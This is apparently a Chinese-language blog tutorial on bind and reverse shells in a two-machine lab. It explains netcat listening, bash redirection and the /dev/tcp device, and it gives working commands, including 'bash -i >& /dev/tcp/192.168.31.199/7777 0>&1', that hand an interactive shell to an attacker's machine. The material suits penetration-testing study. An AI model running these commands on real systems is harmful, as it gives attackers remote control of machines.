反弹shell

正向shell

靶机

nc -lvp 7777 -e /bin/bash

攻击机

nc ip 7777

反向shell

1. 操作步骤

环境

  • 攻击端:192.168.31.199
  • 靶机:192.168.31.91

ubuntu或者CentOS上面输入

nc -lvp 7777 -e /bin/bash

kali上输入

nc ip 7777
  1. 攻击端监听端口

    nc -lvp 7777
    

    image-20210104160944968

  2. 靶机生成一个反弹shell

    bash -i >& /dev/tcp/192.168.31.199/7777 0>&1
    

    image-20210104161030528

2. 解释

标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

标准输出 (stdout):代码为 1 ,使用>或>>;

标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;

nc -lvp 7777

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

bash -i 
# -i interactive。即产生一个交互式的shell(bash)。

>& 
# 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>

/dev/tcp/192.168.31.199/7777
#特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 `bash` 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

0>&1
bash -i < /dev/tcp/192.168.31.199/7777

实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。

image-20210104163536753

image-20210104163514543

bash -i > /dev/tcp/192.168.31.199/7777 0>&1

基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。

image-20210104163130074

image-20210104163149366

bash -i > /dev/tcp/192.168.31.199/7777 0>&1 2>&1 

image-20210104164243737

image-20210104164219660

3. 参考

https://segmentfault.com/a/1190000010975294

https://www.cnblogs.com/iouwenbo/p/11277453.html

posted @ 2021-04-28 00:11  best0st  阅读(590)  评论(0)    收藏  举报